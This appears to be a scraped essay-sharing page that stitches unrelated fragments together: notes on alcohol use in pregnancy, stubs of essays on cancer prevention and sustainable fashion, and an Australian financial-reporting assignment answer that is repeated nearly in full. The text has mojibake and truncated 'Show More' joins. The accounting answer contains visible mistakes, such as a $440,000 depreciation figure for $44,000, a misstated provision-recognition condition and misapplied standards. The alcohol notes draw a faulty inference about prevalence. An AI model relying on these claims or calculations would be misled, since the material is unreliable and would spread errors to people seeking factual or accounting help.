Alcohol Use For Disease Control And Prevention - 1446 Words

â€Å"Alcohol Use in Pregnancy.† CDC. 17 April 2014. Web. 20 April 2016. Centers for Disease Control and Prevention states that there is no known safe amount of alcohol use during pregnancy or while trying to get pregnant. The article suggests that â€Å"women also should not drink alcohol if they are sexually active and do not use effective contraception (birth control). This is because a women might get pregnant and expose her baby to alcohol before the mother knows she is pregnant. The alcohol in mothers blood passes to the baby through the umbilical cord. The disorder has many conditions such as â€Å"Abnormal facial features, small head size, low body weight, poor coordination, poor memory, speech and language delays, etc. Drinking alcohol in the first three months of the pregnancy can cause the baby to have abnormal facial features, growth, and central nervous system problems. Gauthier, Theresa W. â€Å"Prenatal Alcohol Exposure and the Developing Immune system†. ebook. Web. 20 April 2016. This article the author talks about the care before and during the pregnancy of a mother. Gauthier believes that when a human and animals ingest alcohol during pregnancy can disrupt the fetal immune system and also other areas of fetal development besides the brain. She uses evidential support from CDC which says that 1 in 13 women drink alcohol during pregnancy and this means 1 in 13 children will be born with a fetal alcohol spectrumShow MoreRelatedCancer Prevention Essay1344 Words   |  6 PagesSteps in Cancer Prevention Sherri Joiner 156 08-02-2012 Farrah Hilton Steps in Cancer Prevention Cancer Preventions â€Å"Cancer† is a word that no one wants to hear when presenting to a doctor’s office or as a diagnosis for any family members. It is not one disease, but many diseases that affect many Americans each day. It is non-discriminatory and can affect anyone from infants to adults. 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Sustainable Style How Sustainable Practices Can Benefit...

Sustainable Style: How Sustainable Practices Can Benefit Everyone Fashion tends to work in cycles, much like the technology industry: every designated cycle, a new innovation on a previous product or new reinvention is revealed to overshadow past generations. In fashion, rather than being met with a new smartphone every year, one is met with new collections twice a year: one for the fall and winter, and another for the spring and summer (i.e.- FW and SS). However, this cyclical behavior tends to reinforce a wasteful attitude towards products and textiles within fashion. For instance in 2010, despite the fact that almost all textiles are recyclable, Americans disposed of 13.1 million tons of textiles, and 11 million of those tons found their way into landfills (690). On top of this, in order to afford the massive amounts of resources required to maintain production, many companies still utilize unethical and controversial methods of labor, which includes exploitation of children, lack of labor rights, and neglect for safety procedure. Due to this rampant problem among the industry, many companies and brands have shifted towards sustainable practices: methods that aim to decrease dependence on raw resources, the desire for brand new products, the degree of dangerous working conditions, and harm to the environment. Due to sustainable fashion practices being incredibly beneficial to the consumer, the employee, and the environment, numerous brands have shifted into a new andShow MoreRelatedEco Friendly, Green, Earth, Dirt, Recycle, Reuse1715 Words   |  7 Pagesyou think about the word sustainable, what comes to mind? Eco friendly, green, Earth, dirt, recycle, reuse, reduce. It is a word that is being thrown out there a lot. But, what is it really? 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Issues in Financial Reporting Depends on the Applicability

Question: Discuss about the Issues in Financial Reporting for Depends on the Applicability. Answer: 1. A The Corporation Act 2001, Australian Accounting Standard Board and other relevant requirements of the statue, guides the preparation and presentation of financial statements. The reporting requirement of an entity depends on the applicability of the various provisions that are stated in various laws and standards. In the given case, the reporting requirement of Brixton is discussed in this section. In the Corporation Act 2001, it is provided under section 292 that all the registered schemes, proprietary companies and disclosing entities are required under this section to prepare a director report and financial report for each financial year. The financial reports and the director reports prepared by the companies are required under section 314 of the corporation Act 2001 to be produced to every member of the company for each financial year. The financial report produced to the members at each financial year should contain a financial statement for the year; notes to the financial statements and the directors declaration as required under section 295(1) of the Corporation Act 2001. The section 296(1) of the Corporation Act 2001 states that the financial reports prepared must comply with the requirement of the Accounting Standards (Chalmers et al. 2012). In conclusion, the reporting requirement of the corporation Act 2001 can be summarized by stating that a company is required un der this act to prepare a financial report in accordance with the requirement of the accounting standards. The company is also required under the act to prepare this report every year and present this report to the members of the company. The reporting requirement of the company is also affected by the application of SAC 1. The concept document issued by the Financial Accounting Standard Board is known as Statement of Accounting concepts. This document provides an overview of the accounting concepts, definitions and ideas and additionally it also covers the broad reporting concepts of the financial statements. In Australia, the Framework for presentation and preparation of financial statements was adopted on 2005 but the Statement of Accounting concept 1 continued to be applicable along with the new requirements (Rahman 2013). In 1990, the Statement of Accounting Concept (SAC) 1 was issued and it includes the definition of the reporting entity. The SAC1 defines an entity as reporting entity if the management is of the opinion that the user of the financial statements will use this statement to make economic decisions. The reporting requirement of a company is hugely affected by the requirements of the accounting standards. The Accounting Standards are developed, issued, maintained and interpreted by the Australian Accounting Standard Board. The entities that are required to prepare financial report as provided in the corporation Act 2001 is required to comply with the requirements of the Accounting Standard. The reporting requirement of the general-purpose financial statements is classified into Tier 1 and Tier 2. In Tier 1 it is the Australian Accounting Standard and in Tier 2 it is the reduced disclosure requirement of the Australian Accounting standards. In Para 5 of the AASB 1057 it is stated that a financial report prepared under Corporation Act 2001 should follow the requirements of the Australian Accounting Standards. Brixton Ltd is a public company and it is listed on Australian Security Exchange so the requirement of the corporation Act 2001 applies. Therefore, as section 314 of the Corporation Act 2001 applies so the Brixton Ltd is required to produce at each financial year the financial reports to the members of the company. The financial reports prepared by the Brixton Ltd should be in accordance with the section 295(1) of the corporation act 2001. As required by the section 296 of the corporation act 2001 the financial reports prepared by the Brixton Ltd should comply with the requirements of the accounting standards. The investors of the Brixton Ltd will make investment decision based on the analysis of the financial report so Brixton Ltd is a reporting entity as per SAC1. The Australian Accounting standards are required to be followed by Brixton Ltd in preparing and presenting financial report as required by the AASP 1057. Therefore based on the above discussion it can be said that the fin ancial report of Brixton Ltd should be in accordance with the requirement of the Corporation Act 2001, SAC 1 and Australian Accounting Standards (Henderson et al. 2015). The Brixton Company is required to present the revenue and expenses by preparing a statement of the profit or loss account and other comprehensive income as provided in AASB 101. The Para 6.3of the AASB 1042 provides that expenses related to discounting operations is required to be presented within the ordinary activities. The statement of Brixton Ltd profit or loss and other comprehensive income is shown below. B. Statement of Profit or Loss and other Comprehensive Income For the year ended 30 June 2016 Particulars Amount (in thousands) Revenue $ 360,000.00 Cost of Sales $ (204,000.00) Gross Profit $ 156,000.00 Other Income $ 24,000.00 Gain on sale of financial assets $ 2,000.00 Loss for the year from discounted operation $ (9,000.00) Sales and Marketing Expenses $ (37,500.00) Administrative Costs $ (33,000.00) Finance Costs $ (18,000.00) other operating expenses $ (16,500.00) Occupancy Expenses $ (30,000.00) Profit Before Tax $ 38,000.00 Income Tax Expenses $ (14,000.00) Profit For the Year $ 24,000.00 Other Comprehensive Income Items that will not be reclassified to profit and Loss Gain on remeasurement of defined benefit plan $ 9,000.00 Gain on Revaluation of property $ 13,500.00 Income tax relating to items that will not be reclassified $ (10,500.00) $ 12,000.00 Items that may be reclassified subsequently to profit and Loss Unrealized gain on Cash flow hedges $ 9,000.00 Exchange difference on translation of foreign operation $ (4,500.00) Income Tax relating to items that may be reclassified $ (1,500.00) $ 3,000.00 Other Comprehensive Income for the year, net of tax $ 15,000.00 TOTAL COMPREHENSIVE INCOME FOR THE YEAR $ 39,000.00 2. A In preparing the financial statement of the company all, the item of the expenditure cannot be measured accurately so in some cases estimation is necessary. Few of the examples of estimates that are made in preparing financial statements are useful life of assets, fair value of assets, residual value of assets, liabilities etc. The reliable and latest information available are used in making estimate and if a new circumstance originates then the estimates must be revised (Chua et al. 2012). The AASB 108 states that changes made in accounting estimated for preparing financial statement should be properly shown in the accounts. The profit and loss account of the year in which the change take place should appropriately reflect the change in accounting estimate as required by Para 36 of the AASB 108. The standard also provides if the change in accounting estimate affect the future period then the profit and loss account of the future period should also reflect that. The Para 37 of the AA SB 108 states that the value of the assets, liabilities and equity should be adjusted if the change in estimates affects the balance of the assets, liabilities or equity of the future and current period. In 2011, the Bostock estimated the useful life and the residual value of the equipment. Based on the evaluation and recommendation of the technical expert the residual value and the useful life of the equipment were revised in 2016 and in the same year, management accepted the suggestions given by the expert. The depreciation should therefore be calculated on the revised estimates provided by the experts from the year 2016 as required by the AASB 108 and the change will also affect the future periods (Tsunogaya et al. 2016). B Statement showing Calculation of Depreciation Particular Amount Cost of the Equipment $ 400,000.00 Original estimate Useful life (years) 10 Residual Value $ 40,000.00 Depreciation $ 36,000.00 Accumulated Depreciation as on 01.06.2015 144000 Carrying Amount as on 01.06.2015 $ 256,000.00 Revised Estimate Useful life (years) 11 Residual Value $ 46,000.00 Remaining useful life 7 Depreciation $ 30,000.00 The depreciation for 30 June 2015 is $36000.00 As on that date, the machine has been used for 4 years. So the remaining life of the assets is 6 years. The revised estimate provides the useful life as 11 years so the remaining useful life is 7 years. This re estimated remaining life is used for calculating the revised depreciation. The residual value is also revised. Based on the revised useful life and residual the depreciation is calculated by using the following formula Depreciation= (256000-46000)/7 = $30000.00. The Depreciation for 2016 and 2017 will be $30000.00 C. The Para 42 of the AASB 108 Accounting Policies, Change in Accounting estimates and error deals with the prior period errors and it provides that all the material errors that affects the financial statement should be corrected by revising the prior period financial statements. The standard requires that the nature and the amount of the error that is adjusted at the earliest period reported should be appropriately disclosed (Horngren et al. 2012). Bostock purchased the machinery on 1 July and the company paid purchase Tax of $60000.00. The company did not account for purchase tax as it believed that it would receive the refund. The refund was later canceled by the tax office in 2016 and the company had to pay the purchase tax. As a result of this the cost of machinery was understated by $60000.00 therefore the depreciation was also understated for the year, This understatement of depreciation will make the profit overstated and therefore an adjustment of this error is required to be made as per the requirement of the AASB 108. D. As on 30 June 2015 the depreciation was understated by (60000/15) =$4000.00. The journal entry that Bostock is required to pass on 30 June 2016 for rectifying the error is: Machinery A/C Dr $60000.00 Depreciation A/C.Dr $44000.00 Retained Earnings A/cDr $40000.00 Accumulated Depreciation $48000.00 Bank A/c $60000.00 The effect of the journal entries: The machinery account is debited by $60000.00 to include in the cost of the machinery the purchase tax paid. The revised depreciation of $440000.00 is calculated and it is recorded in the accounts. The understatement of depreciation has overstated the profit and now it is adjusted. The depreciation that was understated by $4000.00 is transferred to accumulated depreciation. The amount paid as purchase tax of $60000.00 to tax office was recorded as the expanses. Calculation of Depreciation of Machinery Particular Amount Cost of machinery $600,000.00 Useful live 15 Depreciation $40,000.00 Error Purchase Tax 60000 Depreciation understated 4000 Revised Depreciation $44,000.00 3. A It is provided in the AASB 137 Provisions, Contingent liability and Contingent Assets that contingent liabilities, contingent assets and provisions should be appropriately measured and recognized in the financial statements (Mala and Chand 2012). In Para 10 of the AASB 137 provisions is defined as the liability of which the amount and the timing of its settlement are not certain. The provision is required to be made either by way of constructive obligations or leagal obligations. The AASB 137 on Para 14 it is provided that entity is required to satisfy certain conditions before it could recognize provision in the financial statements. These conditions are: The company should have a present obligation. It may either be constructive or legal obligations. There should be an obligating event that is a past event that is responsible for present obligations. There is a probability that outflow of economic benefit will be required to settle the present obligations. The reliable estimate for amount of obligation is not possible. On fulfilling all of the above conditions an entity can provide for the provisions in the financial statements. The Orange limited provides 2 years warranty to the purchaser of mobile phone.. The obligating event in this case is the act of sale and as soon as a mobile is sold then the company has a present obligation. The company from its past experience is reasonably certain that there will be some claims from the customer. The company has estimated that it will require for minor repair $200 per mobile phones and for major repair it will require $800 per mobile phones. It is certain that the company will have to incur outflow of resources embodying economic benefit so it is satisfies that fourth condition of the requirement. The company cannot estimate the actual amount required because there is no certainty of the number of warranty claim that the company is going to receive. The company makes an estimate on the number of claim to be received based on the experience. Therefore, the fifth condition of recognizing the provision is also satisfied. The analysis above shows that the company should recognize provision as soon as the mobile phones are sold. C. It is provided in the Para 36 of the AASB 137 that provision should be recognized as the best estimated amount that is required to settle the obligation.. The calculation of provision can be done using different methods. The best estimate in case of an individual obligation is done by adjusting the liability amount with the risk and uncertainty involved and this method is called the most likely outcome. The provision for a large population of item is calculated by using the expected value calculation. In this method the probable outcomes are weighted against the probably and the calculation of provision is done. It is the most appropriate method for calculating provision in case of warranty. The provision can also be calculated using another method called range of possible outcomes. It is appropriate when there are range of possible outcomes (Botzem 2012). D. The AASB 137 Para 42 states that risk and uncertainty should be appropriately reflected in the calculation of the proviso. The Para 42 requires that the uncertainty and risk should be taken into account in calculating provisions. As the Para 45 require provision should include the present of the estimated obligation that is required to settle the obligations. (Chambers and Dean 2013). E. The amount of warranty provision on 30 June 2016 is $556456.29. It is required for getting the required warranty amount of $600000.00. The calculation is given below. Calculation of the amount of provision Particulars Probability Number of units Estimated expenses per unit Amount of provision No warranty repair 85% 8500 $ - $ - Minor repair 10% 1000 $ 200.00 $ 200,000.00 Major repair 5% 500 $ 800.00 $ 400,000.00 Total Provision required $ 600,000.00 Calculation of the amount of provision to be recognized Particular Future Value Present value Amount of warranty expected in 2017 $ 360,000.00 $342,857.14 Amount of warranty expected in 2018 $ 240,000.00 $213,599.15 Total Provision required at the end of 30 June 2016 $556,456.29 F. AASB provides the definition and accounting treatments for the contingent liabilities in the Para 10. As per the guideline, the contingent liability of a company is to be defined as the probable liability of a company, which is dependent on some special cases or incidents. For the purpose non occurrence, the contingent liabilities are not treated in the income statement and balance sheet. The AASB discloses that the contingent liabilities are to be mentioned as foot note in the financial statement. As per AASB 27, all the probable liabilities are required to be mentioned in the foot note after the balance sheet. The contingent liabilities of an entity are needed to be analyzed properly as the contingent liabilities plays vital role in the future income statements. In the case of Orange limited, the company is confidence for their win over lawsuit. The mobile company maintains a provision for the case of $5 million to $15 million as contingent liability, which is to be mentioned in the foot note after the income statement (Irwin 2012). In the given case, Orange limited is facing a patent litigation from a mobile phone company. If Orange limited is confident that it can defend the lawsuit then it should be recognized as contingent liability and a disclosure should be provided in the notes to financial statement. If the orange limited based on the evidence available finds that it is probable that the company will lose the lawsuit then the company should immediately recognize a provision of $5 million to $15 million. 4. A. Statement showing calculation of Cost of machinery Particular Amount ($) Cost of purchase 480000 Custom duties 17000 Consultation fees to engineers 10000 Transportation and delivery charges 15000 Insurance ncost 5000 Installation and assembly costs 8000 Modification charges of machinery 20000 Cost of testing 4165 Cost of Machinery at initial recognition 559165 B. The AASB provides guidance to the companies of Australia to charge depreciation over the useful life of a machine. AASB 116 discloses all the rules of charging depreciation of an asset, which is used by the domestic as well as the foreign companies in the country. Para 15 of the Audit and Accounting standard of Australia disclose that the machineries and other assets are needed to be depreciated systematically over the useful life of assets. Furthermore, the AASB defines the depreciation as the economic value of assets used for production purpose. Two methods of charging depreciation are also mentioned in the AASB, which are straight line method and diminishing balance method (Horngren 2012). In the AASB 116, the choosing of the depreciation method is also mentioned. As per Para 62 of the standard, the entities are given the responsibility to chose the method of depreciation. Recton electronics limited has planned to produce 10000 units for the first 8 years out of the total useful life of 10 years. If the company chooses the straight line method of depereciatring its assets, the total cost of asset is to be allocated as depreciation on equal basis. Moreover, the installation cost of the machinery is to be depreciated for the first four years as the economic benefit is to be utilised for the initial four years. C. The asset of the company was bought on March 1, 2016 and the same was put to use from 1 April, 2016. If the machinery is to be charged depreciation on straight line method, the cost of the machine was required to be divided by the estimated life of such machine (Berk et al. 2013). But in the present case, the company is required to charge depreciation on the basis of units produced. Therefore, the depreciation is to be charged from the date of commencement of production. Reference Berk, J., DeMarzo, P., Harford, J., Ford, G., Mollica, V. and Finch, N., 2013.Fundamentals of corporate finance. Pearson Higher Education AU. Botzem, S., 2012.The politics of accounting regulation: Organizing transnational standard setting in financial reporting. Edward Elgar Publishing. Chalmers, K., Godfrey, J.M. and Lynch, B., 2012. Regulatory theory insights into the past, present and future of general purpose water accounting standard setting.Accounting, Auditing Accountability Journal,25(6), pp.1001-1024. Chambers, R.J. and Dean, G.W., 2013.Chambers on Accounting: Logic, Law and Ethics(Vol. 6). Routledge. Chua, Y.L., Cheong, C.S. and Gould, G., 2012. The impact of mandatory IFRS adoption on accounting quality: Evidence from Australia.Journal of International Accounting Research,11(1), pp.119-146. Henderson, S., Peirson, G., Herbohn, K. and Howieson, B., 2015.Issues in financial accounting. Pearson Higher Education AU. Horngren, C., Harrison, W., Oliver, S., Best, P., Fraser, D. and Tan, R., 2012.Financial Accounting. Pearson Higher Education AU. Horngren, C., Harrison, W., Oliver, S., Best, P., Fraser, D., Tan, R. and Willett, R., 2012.Accounting. Pearson Higher Education AU. Irwin, T., 2012.Accounting devices and fiscal illusions. International Monetary Fund. Mala, R. and Chand, P., 2012. Effect of the global financial crisis on accounting convergence.Accounting Finance,52(1), pp.21-46. Rahman, A.R., 2013.The Australian Accounting Standards Review Board (RLE Accounting): The Establishment of Its Participative Review Process. Routledge. Tsunogaya, N., Sugahara, S. and Chand, P., 2016. Judgments of auditors on principles versus guidance in lease accounting standard: evidence from Japan.Asian Review of Accounting,24(3).

Issues in Financial Reporting Depends on the Applicability

Question: Discuss about the Issues in Financial Reporting for Depends on the Applicability. Answer: 1. A The Corporation Act 2001, Australian Accounting Standard Board and other relevant requirements of the statue, guides the preparation and presentation of financial statements. The reporting requirement of an entity depends on the applicability of the various provisions that are stated in various laws and standards. In the given case, the reporting requirement of Brixton is discussed in this section. In the Corporation Act 2001, it is provided under section 292 that all the registered schemes, proprietary companies and disclosing entities are required under this section to prepare a director report and financial report for each financial year. The financial reports and the director reports prepared by the companies are required under section 314 of the corporation Act 2001 to be produced to every member of the company for each financial year. The financial report produced to the members at each financial year should contain a financial statement for the year; notes to the financial statements and the directors declaration as required under section 295(1) of the Corporation Act 2001. The section 296(1) of the Corporation Act 2001 states that the financial reports prepared must comply with the requirement of the Accounting Standards (Chalmers et al. 2012). In conclusion, the reporting requirement of the corporation Act 2001 can be summarized by stating that a company is required un der this act to prepare a financial report in accordance with the requirement of the accounting standards. The company is also required under the act to prepare this report every year and present this report to the members of the company. The reporting requirement of the company is also affected by the application of SAC 1. The concept document issued by the Financial Accounting Standard Board is known as Statement of Accounting concepts. This document provides an overview of the accounting concepts, definitions and ideas and additionally it also covers the broad reporting concepts of the financial statements. In Australia, the Framework for presentation and preparation of financial statements was adopted on 2005 but the Statement of Accounting concept 1 continued to be applicable along with the new requirements (Rahman 2013). In 1990, the Statement of Accounting Concept (SAC) 1 was issued and it includes the definition of the reporting entity. The SAC1 defines an entity as reporting entity if the management is of the opinion that the user of the financial statements will use this statement to make economic decisions. The reporting requirement of a company is hugely affected by the requirements of the accounting standards. The Accounting Standards are developed, issued, maintained and interpreted by the Australian Accounting Standard Board. The entities that are required to prepare financial report as provided in the corporation Act 2001 is required to comply with the requirements of the Accounting Standard. The reporting requirement of the general-purpose financial statements is classified into Tier 1 and Tier 2. In Tier 1 it is the Australian Accounting Standard and in Tier 2 it is the reduced disclosure requirement of the Australian Accounting standards. In Para 5 of the AASB 1057 it is stated that a financial report prepared under Corporation Act 2001 should follow the requirements of the Australian Accounting Standards. Brixton Ltd is a public company and it is listed on Australian Security Exchange so the requirement of the corporation Act 2001 applies. Therefore, as section 314 of the Corporation Act 2001 applies so the Brixton Ltd is required to produce at each financial year the financial reports to the members of the company. The financial reports prepared by the Brixton Ltd should be in accordance with the section 295(1) of the corporation act 2001. As required by the section 296 of the corporation act 2001 the financial reports prepared by the Brixton Ltd should comply with the requirements of the accounting standards. The investors of the Brixton Ltd will make investment decision based on the analysis of the financial report so Brixton Ltd is a reporting entity as per SAC1. The Australian Accounting standards are required to be followed by Brixton Ltd in preparing and presenting financial report as required by the AASP 1057. Therefore based on the above discussion it can be said that the fin ancial report of Brixton Ltd should be in accordance with the requirement of the Corporation Act 2001, SAC 1 and Australian Accounting Standards (Henderson et al. 2015). The Brixton Company is required to present the revenue and expenses by preparing a statement of the profit or loss account and other comprehensive income as provided in AASB 101. The Para 6.3of the AASB 1042 provides that expenses related to discounting operations is required to be presented within the ordinary activities. The statement of Brixton Ltd profit or loss and other comprehensive income is shown below. B. Statement of Profit or Loss and other Comprehensive Income For the year ended 30 June 2016 Particulars Amount (in thousands) Revenue $ 360,000.00 Cost of Sales $ (204,000.00) Gross Profit $ 156,000.00 Other Income $ 24,000.00 Gain on sale of financial assets $ 2,000.00 Loss for the year from discounted operation $ (9,000.00) Sales and Marketing Expenses $ (37,500.00) Administrative Costs $ (33,000.00) Finance Costs $ (18,000.00) other operating expenses $ (16,500.00) Occupancy Expenses $ (30,000.00) Profit Before Tax $ 38,000.00 Income Tax Expenses $ (14,000.00) Profit For the Year $ 24,000.00 Other Comprehensive Income Items that will not be reclassified to profit and Loss Gain on remeasurement of defined benefit plan $ 9,000.00 Gain on Revaluation of property $ 13,500.00 Income tax relating to items that will not be reclassified $ (10,500.00) $ 12,000.00 Items that may be reclassified subsequently to profit and Loss Unrealized gain on Cash flow hedges $ 9,000.00 Exchange difference on translation of foreign operation $ (4,500.00) Income Tax relating to items that may be reclassified $ (1,500.00) $ 3,000.00 Other Comprehensive Income for the year, net of tax $ 15,000.00 TOTAL COMPREHENSIVE INCOME FOR THE YEAR $ 39,000.00 2. A In preparing the financial statement of the company all, the item of the expenditure cannot be measured accurately so in some cases estimation is necessary. Few of the examples of estimates that are made in preparing financial statements are useful life of assets, fair value of assets, residual value of assets, liabilities etc. The reliable and latest information available are used in making estimate and if a new circumstance originates then the estimates must be revised (Chua et al. 2012). The AASB 108 states that changes made in accounting estimated for preparing financial statement should be properly shown in the accounts. The profit and loss account of the year in which the change take place should appropriately reflect the change in accounting estimate as required by Para 36 of the AASB 108. The standard also provides if the change in accounting estimate affect the future period then the profit and loss account of the future period should also reflect that. The Para 37 of the AA SB 108 states that the value of the assets, liabilities and equity should be adjusted if the change in estimates affects the balance of the assets, liabilities or equity of the future and current period. In 2011, the Bostock estimated the useful life and the residual value of the equipment. Based on the evaluation and recommendation of the technical expert the residual value and the useful life of the equipment were revised in 2016 and in the same year, management accepted the suggestions given by the expert. The depreciation should therefore be calculated on the revised estimates provided by the experts from the year 2016 as required by the AASB 108 and the change will also affect the future periods (Tsunogaya et al. 2016). B Statement showing Calculation of Depreciation Particular Amount Cost of the Equipment $ 400,000.00 Original estimate Useful life (years) 10 Residual Value $ 40,000.00 Depreciation $ 36,000.00 Accumulated Depreciation as on 01.06.2015 144000 Carrying Amount as on 01.06.2015 $ 256,000.00 Revised Estimate Useful life (years) 11 Residual Value $ 46,000.00 Remaining useful life 7 Depreciation $ 30,000.00 The depreciation for 30 June 2015 is $36000.00 As on that date, the machine has been used for 4 years. So the remaining life of the assets is 6 years. The revised estimate provides the useful life as 11 years so the remaining useful life is 7 years. This re estimated remaining life is used for calculating the revised depreciation. The residual value is also revised. Based on the revised useful life and residual the depreciation is calculated by using the following formula Depreciation= (256000-46000)/7 = $30000.00. The Depreciation for 2016 and 2017 will be $30000.00 C. The Para 42 of the AASB 108 Accounting Policies, Change in Accounting estimates and error deals with the prior period errors and it provides that all the material errors that affects the financial statement should be corrected by revising the prior period financial statements. The standard requires that the nature and the amount of the error that is adjusted at the earliest period reported should be appropriately disclosed (Horngren et al. 2012). Bostock purchased the machinery on 1 July and the company paid purchase Tax of $60000.00. The company did not account for purchase tax as it believed that it would receive the refund. The refund was later canceled by the tax office in 2016 and the company had to pay the purchase tax. As a result of this the cost of machinery was understated by $60000.00 therefore the depreciation was also understated for the year, This understatement of depreciation will make the profit overstated and therefore an adjustment of this error is required to be made as per the requirement of the AASB 108. D. As on 30 June 2015 the depreciation was understated by (60000/15) =$4000.00. The journal entry that Bostock is required to pass on 30 June 2016 for rectifying the error is: Machinery A/C Dr $60000.00 Depreciation A/C.Dr $44000.00 Retained Earnings A/cDr $40000.00 Accumulated Depreciation $48000.00 Bank A/c $60000.00 The effect of the journal entries: The machinery account is debited by $60000.00 to include in the cost of the machinery the purchase tax paid. The revised depreciation of $440000.00 is calculated and it is recorded in the accounts. The understatement of depreciation has overstated the profit and now it is adjusted. The depreciation that was understated by $4000.00 is transferred to accumulated depreciation. The amount paid as purchase tax of $60000.00 to tax office was recorded as the expanses. Calculation of Depreciation of Machinery Particular Amount Cost of machinery $600,000.00 Useful live 15 Depreciation $40,000.00 Error Purchase Tax 60000 Depreciation understated 4000 Revised Depreciation $44,000.00 3. A It is provided in the AASB 137 Provisions, Contingent liability and Contingent Assets that contingent liabilities, contingent assets and provisions should be appropriately measured and recognized in the financial statements (Mala and Chand 2012). In Para 10 of the AASB 137 provisions is defined as the liability of which the amount and the timing of its settlement are not certain. The provision is required to be made either by way of constructive obligations or leagal obligations. The AASB 137 on Para 14 it is provided that entity is required to satisfy certain conditions before it could recognize provision in the financial statements. These conditions are: The company should have a present obligation. It may either be constructive or legal obligations. There should be an obligating event that is a past event that is responsible for present obligations. There is a probability that outflow of economic benefit will be required to settle the present obligations. The reliable estimate for amount of obligation is not possible. On fulfilling all of the above conditions an entity can provide for the provisions in the financial statements. The Orange limited provides 2 years warranty to the purchaser of mobile phone.. The obligating event in this case is the act of sale and as soon as a mobile is sold then the company has a present obligation. The company from its past experience is reasonably certain that there will be some claims from the customer. The company has estimated that it will require for minor repair $200 per mobile phones and for major repair it will require $800 per mobile phones. It is certain that the company will have to incur outflow of resources embodying economic benefit so it is satisfies that fourth condition of the requirement. The company cannot estimate the actual amount required because there is no certainty of the number of warranty claim that the company is going to receive. The company makes an estimate on the number of claim to be received based on the experience. Therefore, the fifth condition of recognizing the provision is also satisfied. The analysis above shows that the company should recognize provision as soon as the mobile phones are sold. C. It is provided in the Para 36 of the AASB 137 that provision should be recognized as the best estimated amount that is required to settle the obligation.. The calculation of provision can be done using different methods. The best estimate in case of an individual obligation is done by adjusting the liability amount with the risk and uncertainty involved and this method is called the most likely outcome. The provision for a large population of item is calculated by using the expected value calculation. In this method the probable outcomes are weighted against the probably and the calculation of provision is done. It is the most appropriate method for calculating provision in case of warranty. The provision can also be calculated using another method called range of possible outcomes. It is appropriate when there are range of possible outcomes (Botzem 2012). D. The AASB 137 Para 42 states that risk and uncertainty should be appropriately reflected in the calculation of the proviso. The Para 42 requires that the uncertainty and risk should be taken into account in calculating provisions. As the Para 45 require provision should include the present of the estimated obligation that is required to settle the obligations. (Chambers and Dean 2013). E. The amount of warranty provision on 30 June 2016 is $556456.29. It is required for getting the required warranty amount of $600000.00. The calculation is given below. Calculation of the amount of provision Particulars Probability Number of units Estimated expenses per unit Amount of provision No warranty repair 85% 8500 $ - $ - Minor repair 10% 1000 $ 200.00 $ 200,000.00 Major repair 5% 500 $ 800.00 $ 400,000.00 Total Provision required $ 600,000.00 Calculation of the amount of provision to be recognized Particular Future Value Present value Amount of warranty expected in 2017 $ 360,000.00 $342,857.14 Amount of warranty expected in 2018 $ 240,000.00 $213,599.15 Total Provision required at the end of 30 June 2016 $556,456.29 F. AASB provides the definition and accounting treatments for the contingent liabilities in the Para 10. As per the guideline, the contingent liability of a company is to be defined as the probable liability of a company, which is dependent on some special cases or incidents. For the purpose non occurrence, the contingent liabilities are not treated in the income statement and balance sheet. The AASB discloses that the contingent liabilities are to be mentioned as foot note in the financial statement. As per AASB 27, all the probable liabilities are required to be mentioned in the foot note after the balance sheet. The contingent liabilities of an entity are needed to be analyzed properly as the contingent liabilities plays vital role in the future income statements. In the case of Orange limited, the company is confidence for their win over lawsuit. The mobile company maintains a provision for the case of $5 million to $15 million as contingent liability, which is to be mentioned in the foot note after the income statement (Irwin 2012). In the given case, Orange limited is facing a patent litigation from a mobile phone company. If Orange limited is confident that it can defend the lawsuit then it should be recognized as contingent liability and a disclosure should be provided in the notes to financial statement. If the orange limited based on the evidence available finds that it is probable that the company will lose the lawsuit then the company should immediately recognize a provision of $5 million to $15 million. 4. A. Statement showing calculation of Cost of machinery Particular Amount ($) Cost of purchase 480000 Custom duties 17000 Consultation fees to engineers 10000 Transportation and delivery charges 15000 Insurance ncost 5000 Installation and assembly costs 8000 Modification charges of machinery 20000 Cost of testing 4165 Cost of Machinery at initial recognition 559165 B. The AASB provides guidance to the companies of Australia to charge depreciation over the useful life of a machine. AASB 116 discloses all the rules of charging depreciation of an asset, which is used by the domestic as well as the foreign companies in the country. Para 15 of the Audit and Accounting standard of Australia disclose that the machineries and other assets are needed to be depreciated systematically over the useful life of assets. Furthermore, the AASB defines the depreciation as the economic value of assets used for production purpose. Two methods of charging depreciation are also mentioned in the AASB, which are straight line method and diminishing balance method (Horngren 2012). In the AASB 116, the choosing of the depreciation method is also mentioned. As per Para 62 of the standard, the entities are given the responsibility to chose the method of depreciation. Recton electronics limited has planned to produce 10000 units for the first 8 years out of the total useful life of 10 years. If the company chooses the straight line method of depereciatring its assets, the total cost of asset is to be allocated as depreciation on equal basis. Moreover, the installation cost of the machinery is to be depreciated for the first four years as the economic benefit is to be utilised for the initial four years. C. The asset of the company was bought on March 1, 2016 and the same was put to use from 1 April, 2016. If the machinery is to be charged depreciation on straight line method, the cost of the machine was required to be divided by the estimated life of such machine (Berk et al. 2013). But in the present case, the company is required to charge depreciation on the basis of units produced. Therefore, the depreciation is to be charged from the date of commencement of production. Reference Berk, J., DeMarzo, P., Harford, J., Ford, G., Mollica, V. and Finch, N., 2013.Fundamentals of corporate finance. Pearson Higher Education AU. Botzem, S., 2012.The politics of accounting regulation: Organizing transnational standard setting in financial reporting. Edward Elgar Publishing. Chalmers, K., Godfrey, J.M. and Lynch, B., 2012. Regulatory theory insights into the past, present and future of general purpose water accounting standard setting.Accounting, Auditing Accountability Journal,25(6), pp.1001-1024. Chambers, R.J. and Dean, G.W., 2013.Chambers on Accounting: Logic, Law and Ethics(Vol. 6). Routledge. Chua, Y.L., Cheong, C.S. and Gould, G., 2012. The impact of mandatory IFRS adoption on accounting quality: Evidence from Australia.Journal of International Accounting Research,11(1), pp.119-146. Henderson, S., Peirson, G., Herbohn, K. and Howieson, B., 2015.Issues in financial accounting. Pearson Higher Education AU. Horngren, C., Harrison, W., Oliver, S., Best, P., Fraser, D. and Tan, R., 2012.Financial Accounting. Pearson Higher Education AU. Horngren, C., Harrison, W., Oliver, S., Best, P., Fraser, D., Tan, R. and Willett, R., 2012.Accounting. Pearson Higher Education AU. Irwin, T., 2012.Accounting devices and fiscal illusions. International Monetary Fund. Mala, R. and Chand, P., 2012. Effect of the global financial crisis on accounting convergence.Accounting Finance,52(1), pp.21-46. Rahman, A.R., 2013.The Australian Accounting Standards Review Board (RLE Accounting): The Establishment of Its Participative Review Process. Routledge. Tsunogaya, N., Sugahara, S. and Chand, P., 2016. Judgments of auditors on principles versus guidance in lease accounting standard: 